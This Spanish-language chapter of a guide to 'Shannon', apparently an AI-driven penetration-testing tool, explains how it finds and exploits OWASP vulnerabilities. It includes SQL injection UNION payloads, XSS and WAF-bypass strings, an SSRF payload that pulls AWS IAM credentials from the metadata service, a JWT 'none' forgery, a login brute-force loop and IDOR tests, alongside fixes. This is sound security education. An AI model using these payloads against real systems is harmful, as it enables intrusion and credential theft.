Capítulo 5: Vulnerabilidades OWASP que Detecta Shannon
Capítulo 5: Vulnerabilidades OWASP que Detecta Shannon
Shannon cubre cuatro grandes categorías del OWASP Top 10, con agentes especializados en cada una. Este capítulo explica qué busca Shannon dentro de cada categoría, cómo detecta las vulnerabilidades desde el código fuente y cómo las explota en runtime.
Mapa de cobertura OWASP
graph TD
OWASP["OWASP Top 10 2021"] --> A01["A01: Broken Access Control\n✅ Shannon cubre"]
OWASP --> A02["A02: Cryptographic Failures\n⚠️ Parcial (Shannon Pro)"]
OWASP --> A03["A03: Injection\n✅ Shannon cubre"]
OWASP --> A04["A04: Insecure Design\n⚠️ Parcial (lógica de negocio)"]
OWASP --> A05["A05: Security Misconfiguration\n⚠️ Reconocimiento básico"]
OWASP --> A06["A06: Vulnerable Components\n✅ Shannon Pro SCA"]
OWASP --> A07["A07: Auth Failures\n✅ Shannon cubre"]
OWASP --> A08["A08: Software Integrity\n❌ Fuera de alcance"]
OWASP --> A09["A09: Security Logging\n⚠️ Reconocimiento"]
OWASP --> A10["A10: SSRF\n✅ Shannon cubre"]
OWASP --> XSS_N["A03 subcat.: XSS\n✅ Shannon cubre"]
Categoría 1: Inyección
¿Qué es?
Los ataques de inyección ocurren cuando datos no confiables se envían a un intérprete como parte de un comando o query. El intérprete ejecuta los datos como si fueran instrucciones del programador.
Las variantes más comunes:
- SQL Injection — datos en queries de base de datos
- NoSQL Injection — queries MongoDB, Redis
- Command Injection — comandos del sistema operativo
- Template Injection (SSTI) — motores de plantillas como Jinja2, Handlebars
- XXE — parsers XML con entidades externas habilitadas
Cómo Shannon detecta inyección en el código
El agente de inyección busca patrones específicos en el código fuente:
// ❌ Vulnerable: concatenación directa
const result = await db.query(
`SELECT * FROM users WHERE id = ${req.params.id}`
);
// ❌ Vulnerable: template string con input del usuario
const query = `SELECT * FROM orders WHERE status = '${req.query.status}'`;
// ❌ Command injection
const output = exec(`convert ${req.body.filename} output.pdf`);
Shannon identifica:
- El origen del dato (parámetro HTTP, body, header, cookie)
- La ruta de flujo hasta el intérprete (query, exec, eval)
- Si hay sanitización en el camino o no
- El tipo de intérprete (PostgreSQL, MongoDB, bash, etc.)
Proceso de explotación de SQL Injection
sequenceDiagram
participant A as Agente de Explotación
participant B as Browser (Playwright)
participant App as Aplicación
A->>B: GET /api/orders?status='
B->>App: Petición con comilla simple
App-->>B: Error 500 (SQL syntax error visible)
Note over A: Confirmación básica: es vulnerable
A->>B: GET /api/orders?status=' OR '1'='1'--
B->>App: Petición con bypass de condición WHERE
App-->>B: Todos los pedidos (de todos los usuarios)
Note over A: Confirmado: SQLi boolean-based
A->>B: GET /api/orders?status=' UNION SELECT username,password,3 FROM users--
B->>App: Query con UNION
App-->>B: Hashes de contraseñas en el response
Note over A: CRÍTICO: Exfiltración de datos confirmada
A->>A: Guardar evidencia + generar PoC
Ejemplo de hallazgo de inyección en el reporte
## [CRITICAL] SQL Injection en GET /api/orders
**Archivo afectado**: src/controllers/orders.controller.ts:89
**Parámetro vulnerable**: query string `status`
**Código vulnerable**:
```typescript
const orders = await db.query(
`SELECT * FROM orders WHERE status = '${req.query.status}'`
);
Proof of Concept:
curl 'https://staging.app.com/api/orders?status=%27%20UNION%20SELECT%20username%2Cpassword%2C3%20FROM%20users--' \
-H 'Authorization: Bearer TOKEN'
Evidencia: Response contiene 2,341 registros de usuarios con contraseñas hasheadas.
Remediación: Usar consultas parametrizadas:
const orders = await db.query(
'SELECT * FROM orders WHERE status = $1',
[req.query.status]
);
## Categoría 2: Cross-Site Scripting (XSS)
### ¿Qué es?
XSS ocurre cuando un atacante logra inyectar scripts maliciosos en contenido que otros usuarios ven en su navegador. El script se ejecuta en el contexto del sitio víctima, con acceso a cookies, tokens y DOM.
Variantes:
- **Reflected XSS** — el payload se refleja inmediatamente en la respuesta
- **Stored XSS** — el payload se guarda en la base de datos y se ejecuta para todos los visitantes
- **DOM-based XSS** — el payload manipula el DOM sin pasar por el servidor
### Cómo Shannon detecta XSS en el código
El agente XSS busca puntos donde el input del usuario se renderiza en HTML sin escapar:
```javascript
// ❌ React con dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userComment }} />
// ❌ Template string en servidor
res.send(`<h1>Bienvenido, ${req.query.name}!</h1>`);
// ❌ EJS / Handlebars sin escape
<%= userBio %> // EJS sin escape (usar <%- con escape manual)
{{{ userContent }}} // Handlebars triple braces
// ❌ innerHTML directo
document.getElementById('output').innerHTML = userInput;
Impacto real del XSS almacenado
Un XSS almacenado en una aplicación con muchos usuarios puede ser devastador. Shannon prioriza estos casos porque el impacto supera ampliamente al XSS reflejado:
flowchart LR
ATK["Atacante\nposta comentario\ncon payload XSS"]
DB["Base de datos\nguarda el payload"]
V1["Usuario A\nvisita la página\nscript se ejecuta"]
V2["Usuario B\nvisita la página\nscript se ejecuta"]
V3["Admin\nvisita la página\ntoken de admin robado"]
ATK --> DB
DB --> V1
DB --> V2
DB --> V3
V3 -->|"Cookie/token\nexfiltrado"| ATK
Bypasses de WAF que Shannon intenta
Cuando un WAF bloquea los payloads básicos, Shannon intenta variantes:
// Payload básico (bloqueado por la mayoría de WAFs)
<script>alert(1)</script>
// Variantes que Shannon prueba:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>parent.alert(1)</script>">
"><script>alert(1)</script>
javascript:alert(1)
<a href="javascript:void(alert(1))">click</a>
// Encoding para bypass:
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>alert(1)</script>
Si ningún bypass funciona, Shannon registra la hipótesis como “no explotable” y no la incluye en el reporte. El WAF se considera efectivo para ese vector específico.
Categoría 3: Server-Side Request Forgery (SSRF)
¿Qué es?
SSRF ocurre cuando una aplicación hace peticiones HTTP a URLs controladas por el atacante. Esto permite al atacante usar el servidor como proxy para acceder a servicios internos que no son accesibles desde internet.
Casos de uso maliciosos:
- Acceder a metadata de instancias cloud (AWS IMDSv1:
http://169.254.169.254/latest/meta-data/) - Escanear la red interna (Redis, Elasticsearch, bases de datos)
- Exfiltrar credenciales de IAM
- Acceder a servicios de administración internos (Kubernetes API, Docker socket)
Detección de SSRF en código fuente
El agente SSRF busca patrones donde URLs controladas por el usuario se usan en peticiones HTTP del servidor:
// ❌ URL directamente del usuario
const response = await fetch(req.body.webhookUrl);
// ❌ URL construida con input del usuario
const imageUrl = `https://cdn.example.com/${req.query.path}`;
const image = await fetch(imageUrl);
// ❌ Importar módulos desde URLs del usuario
const module = await import(req.body.moduleUrl);
// ❌ DNS lookup con input del usuario
const result = await dns.resolve(req.params.hostname);
Explotación de SSRF contra metadata de AWS
Si la aplicación corre en AWS EC2, un SSRF puede revelar las credenciales de IAM de la instancia:
# Shannon intenta acceder al servicio de metadata de AWS
# a través del SSRF en el servidor
# Payload para el campo webhookUrl:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Respuesta si es vulnerable:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI...",
"Token": "IQoJb3JpZ2...",
"Expiration": "2026-04-20T20:00:00Z"
}
Shannon clasifica estos hallazgos como CRÍTICO porque las credenciales de IAM pueden dar acceso completo a toda la infraestructura AWS de la empresa.
sequenceDiagram
participant A as Atacante (via SSRF)
participant App as Servidor de la App
participant IMDS as AWS Metadata Service\n169.254.169.254
A->>App: POST /api/webhooks\n{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
App->>IMDS: GET /latest/meta-data/iam/security-credentials/
IMDS-->>App: ec2-role-name
App->>IMDS: GET /latest/meta-data/iam/security-credentials/ec2-role-name
IMDS-->>App: AccessKeyId, SecretAccessKey, Token
App-->>A: Credenciales IAM en el response
Categoría 4: Autenticación y Autorización
Fallos de Autenticación
Shannon verifica múltiples aspectos de la implementación de autenticación:
JWT mal implementado
// ❌ Aceptar el algoritmo "none"
// Un atacante puede enviar un token sin firma:
// header: {"alg": "none", "typ": "JWT"}
// payload: {"sub": "1", "role": "admin"}
// signature: (vacía)
// ❌ Clave de firma débil o hardcodeada
const token = jwt.sign(payload, 'secret'); // clave débil
const token = jwt.sign(payload, ''); // clave vacía
// ❌ No verificar la firma
const payload = jwt.decode(token); // decode ≠ verify!
// Correcto: jwt.verify(token, process.env.JWT_SECRET)
Fuerza bruta sin rate limiting
Shannon verifica si los endpoints de login tienen rate limiting efectivo:
# Shannon intenta 100 peticiones en 10 segundos al endpoint de login
for i in $(seq 1 100); do
curl -X POST https://staging.app.com/auth/login \
-d '{"username":"[email protected]","password":"wrong'$i'"}'
done
# Si ninguna es bloqueada: confirma ausencia de rate limiting
Fallos de Autorización (IDOR / BOLA)
El agente de autorización es especialmente valioso para aplicaciones multi-tenant. Busca endpoints que no verifican que el recurso solicitado pertenece al usuario autenticado:
// ❌ No verifica que el proyecto pertenece al usuario
router.get('/api/projects/:id', async (req, res) => {
const project = await Project.findById(req.params.id);
// FALTA: verificar que project.userId === req.user.id
res.json(project);
});
// ✅ Correcto: verificación de ownership
router.get('/api/projects/:id', async (req, res) => {
const project = await Project.findOne({
_id: req.params.id,
userId: req.user.id // Solo el dueño puede acceder
});
if (!project) return res.status(404).json({ error: 'Not found' });
res.json(project);
});
Shannon detecta la ausencia del check de autorización en el código y luego lo confirma accediendo al recurso de otro usuario:
# Shannon tiene dos sesiones: usuario A y usuario B
# Obtiene un project_id que pertenece a usuario B
# Luego intenta accederlo con la sesión del usuario A
curl -H "Authorization: Bearer TOKEN_USUARIO_A" \
https://staging.app.com/api/projects/PROYECTO_DE_USUARIO_B
# Si responde 200 con los datos: IDOR confirmado [HIGH]
# Si responde 403 o 404: el check de autorización funciona
Escalación de privilegios
Shannon también verifica si un usuario con rol bajo puede acceder a endpoints de admin:
flowchart TD
LOW["Sesión con rol: viewer"] --> ADMIN_EP["/api/admin/users"]
ADMIN_EP --> R1{"¿Respuesta?"}
R1 -->|"200 OK"| PRIV["CONFIRMADO: Escalación de privilegios [HIGH]"]
R1 -->|"403 Forbidden"| OK["Check de autorización funciona"]
Resumen de cobertura por stack tecnológico
Shannon adapta sus payloads al stack identificado en la Fase 1:
| Stack | Inyección específica | Notas |
|---|---|---|
| PostgreSQL | ' OR 1=1--, UNION-based, pg_sleep | Shannon sabe distinguir entre Prisma y raw queries |
| MongoDB | {"$gt": ""}, {"$where": "..."} | NoSQL injection patterns |
| MySQL | SLEEP(5), LOAD_FILE() | Time-based blind SQLi |
| Redis | Comandos directos si el input llega al driver | Menos común pero devastador |
| Express/Node | Template injection en EJS/Handlebars | Shannon verifica el motor de plantillas |
| Django/Python | {{7*7}} para SSTI en Jinja2 | Detectado por stack fingerprinting |
Limitaciones de Shannon en esta versión
Shannon no cubre (aún):
- Race conditions y TOCTOU vulnerabilities
- Business logic muy compleja (flujos de pago, reglas de negocio específicas del dominio)
- Vulnerabilidades en clientes móviles (solo el backend/API)
- GraphQL injection (soporte parcial en versiones recientes)
- WebSocket security (no incluido en la versión Lite)
Estas limitaciones son cubiertas parcialmente en Shannon Pro mediante las pruebas de lógica de negocio.
Siguiente paso
El último capítulo cubre Shannon Pro, la versión comercial que agrega análisis estático agéntico con grafos de propiedades de código, SCA con alcanzabilidad y correlación estático-dinámica.